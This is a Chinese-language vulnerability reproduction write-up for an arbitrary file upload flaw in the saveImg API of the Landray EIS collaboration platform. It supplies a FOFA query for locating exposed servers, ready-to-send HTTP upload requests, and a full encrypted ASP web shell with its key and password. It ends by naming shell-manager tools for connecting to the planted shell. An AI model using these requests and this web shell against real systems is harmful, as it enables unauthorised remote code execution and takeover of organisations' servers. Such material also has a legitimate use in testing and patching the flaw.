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一、蓝凌EIS简介

蓝凌智慧协同平台eis集合了非常丰富的模块，满足组织企业在知识、协同、项目管理系统建设等需求

二、漏洞描述

蓝凌智慧协同平台EIS集合了非常丰富的模块，满足组织企业在知识、协同、项目管理系统建设等需求。该平台saveImg接口存在任意文件上传漏洞，通过该漏洞可上传weshell。

三、影响版本

蓝凌智慧协同平台EIS

四、fofa查询语句

icon_hash=“953405444”

五、漏洞复现

漏洞链接：http://127.0.0.1/eis/service/api.aspx?action=saveImg

漏洞数据包：

POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Content-Length: 179
Content-Type: multipart/form-data; boundary=25c172e79b2758a7d7ff9fe9cab4a76d--25c172e79b2758a7d7ff9fe9cab4a76d
Content-Disposition: form-data; name="file"; filename="50514.asp"
Content-Type: text/html578321995
--25c172e79b2758a7d7ff9fe9cab4a76d--

发送漏洞数据包后，会返回上传的路径

拼接上传的文件路径：http://127.0.0.1/files/editor_img/20231019212439970030/20231019212439970030.asp

burp发包

POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=25c172e79b2758a7d7ff9fe9cab4a76d
Content-Length: 1950--25c172e79b2758a7d7ff9fe9cab4a76d
Content-Disposition: form-data; name="file"; filename="50514.asp"
Content-Type: text/html<%
Set bypassDictionary = Server.CreateObject("Scripting.Dictionary")Function Base64Decode(ByVal vCode)Dim oXML, oNodeSet oXML = CreateObject("Msxml2.DOMDocument.3.0")Set oNode = oXML.CreateElement("base64")oNode.dataType = "bin.base64"oNode.text = vCodeBase64Decode = oNode.nodeTypedValueSet oNode = NothingSet oXML = Nothing
End FunctionFunction decryption(content,isBin)dim size,i,result,keySizekeySize = len(key)Set BinaryStream = CreateObject("ADODB.Stream")BinaryStream.CharSet = "iso-8859-1"BinaryStream.Type = 2BinaryStream.Openif IsArray(content) thensize=UBound(content)+1For i=1 To sizeBinaryStream.WriteText chrw(ascb(midb(content,i,1)) Xor Asc(Mid(key,(i mod keySize)+1,1)))Nextend ifBinaryStream.Position = 0if isBin thenBinaryStream.Type = 1decryption=BinaryStream.Read()elsedecryption=BinaryStream.ReadText()end ifEnd Functionkey="3c6e0b8a9c15224a"content=request.Form("123456")if not IsEmpty(content) thenif  IsEmpty(Session("payload")) thencontent=decryption(Base64Decode(content),false)Session("payload")=contentresponse.Endelsecontent=decryption(Base64Decode(content),true)bypassDictionary.Add "payload",Session("payload")Execute(bypassDictionary("payload"))result=run(content)response.Write("ca0be7")if not IsEmpty(result) thenresponse.Write Base64Encode(decryption(result,true))end ifresponse.Write("2d6353")end ifend if
%>
--25c172e79b2758a7d7ff9fe9cab4a76d--

六、深度复现

1、发送如花

2、哥斯拉直连